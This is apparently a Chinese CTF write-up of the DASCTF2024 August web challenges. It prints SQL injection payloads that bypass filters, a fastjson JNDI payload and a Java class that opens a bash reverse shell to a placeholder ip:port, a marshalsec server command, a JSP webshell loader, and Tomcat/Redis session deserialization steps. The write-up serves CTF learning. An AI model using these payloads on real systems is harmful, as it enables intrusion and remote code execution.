DASCTF2024八月开学季--web

DASCTF2024八月开学季 –web

Truman

image-20240901122922285

随便输入很容易发现是ssti漏洞

直接一把梭哈

image-20240901123126954

Monument

由于没有环境,并且懒得搭建,所以就抄一下官方WP,进行一下描述

sql

访问题目是个查询框 要求输入id,很明显是有回显sql注入

1-9能够查询出东西,其余的页面会回显notfound 或error

测试发现#和空格被过滤了

-1'union/*/**/*/select/*/**/*/1,2,3,4--
//回显2 4 

-1'union/*/**/*/select/*/**/*/1,2,3,database()--
//表名user 

-1'union/*/**/*/select/*/**/*/1,2,3,group_concat(table_name)/*/**/*/from/*/**/*/information_schema.tables/*/**/*/where/*/**/*/table_schema/*/**/*/=/*/**/*/'user'--
//us???er,userinfo

-1'union/*/**/*/select/*/**/*/1,2,3,group_concat(column_name)/*/**/*/from/*/**/*/information_schema.columns/*/**/*/where/*/**/*/table_name='us???er'--
//id,username,content,info

-1'union/*/**/*/select/*/**/*/1,2,3,group_concat(id,username,content,info)/*/**/*/from/*/**/*/`us???er`--
这里us???er是一个表名,它包含特殊字符“?”用反引号包裹以确保解析正确处理标识符,而不将其误认为是其他符号或关键字的一部分

//1amdyesno,2intelnoyes,3Overclocked to 5GHz????50% of humans thank me,4Overclocked to 10GHz????100% of humans thank me,5ok????try to /ch4ng3us3r1nf0 page,6why????Lower versions

….服了,真的一点不会sql注入,但凡过滤一点东西我就懒得去看了。。。。。

就得到了/ch4ng3us3r1nf0路由

fastjson

/ch4ng3us3r1nf0修改用户信息, 页面返回json对象,尝试post一个新的json对象去解析

很明显是个fastjson

版本不是很高,正常打

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:port/Evil",
        "autoCommit":true
    }
}

发送时发现限制长度content-type

无论怎么短链接或者缩短payload长度无法降低到限制长度以下

请求走私chunked编码绕过长度限制

这里利用burp的插件转换为chunked编码即可

image-20240901143753428

image-20240901143833624

后面就是正常打fastjson的流程

import java.lang.Runtime;
import java.lang.Process;
public class Evil{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:port/#Evil 1099

就wp的复杂程度来说,很明显这道题是比ErloGrave要简单的,但是却是0解题,就挺让人意外的

感觉关键点就是要把payload使用chunked编码来进行传输,这一点应该就是卡住的地方

ErloGrave

非预期

这道题其实是存在非预期的

因为给出的源代码只有两个

image-20240901145823941

但是Erlo.war包中却多了个SerTestServlet.class

image-20240901145958696

存在deserialize路由,能够反序列化上传的name的名为serializedObject的值

并且lib中存在cc3.1

image-20240901150133272

直接打cc6即可

题目应该是不出网的,于是尝试写马

这里我就偷懒,使用官方WP中的马

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("Qst");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
echo '......'| base64 -d > /usr/local/tomcat/webapps/ROOT/shell.jsp

image-20240901150848364

<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="serializedObject">
    <input type="submit" name="submit">
</form>

image-20240901151436464

image-20240901151447772

image-20240901151622611

image-20240901151659489

预期解

这个就是一个没接触过的知识点 ——– tomcat-session反序列化

tomcat-session反序列化

前提是conf/context.xml中开启FileStore(session持久化功能)

<Store className="org.apache.catalina.session.FileStore" directory="/tmp/session" />

会把JSESSIONID的名称作为SESSION文件名的一部分进行读取之后反序列化

比如JSESSIONID=../../../../tmp/feng,那么就会读取/xxxxxx/../../../../tmp/feng.session的内容并反序列化

题目

题目的 Session 使用的是 tomcat-cluster-redis-session-manager 这个依赖

可以追踪发现处理session的逻辑

image-20240901180951164

会把从Redis中读取的session进行反序列化

结合 tomcat session 的机制,得出可以将 payload 传入 Redis ,然后改到 JSESSION

image-20240901190743686

password会被base64解密,然后作为值传入redis中

所以构造恶意base64数据进行一次登陆后

第二次登录时修改为JSESSIONID=fail::你第一次登录的username即可

可以使用非预期中生成的erlo.ser,把他base64加密一下

import base64
path = "D:\\CTF\\tools\\ysoserial\\erlo.ser"
with open (path, 'rb') as f:
    file_content = f.read()
print(base64.b64encode(file_content).decode())

image-20240901190523506

image-20240901190604946

image-20240901190257021

reference

DASCTF2024 八月挑战赛 官方WP (yuque.com)


DASCTF2024八月开学季--web
https://zer0peach.github.io/2024/09/01/DASCTF2024八月开学季-web/
作者
Zer0peach
发布于
2024年9月1日
许可协议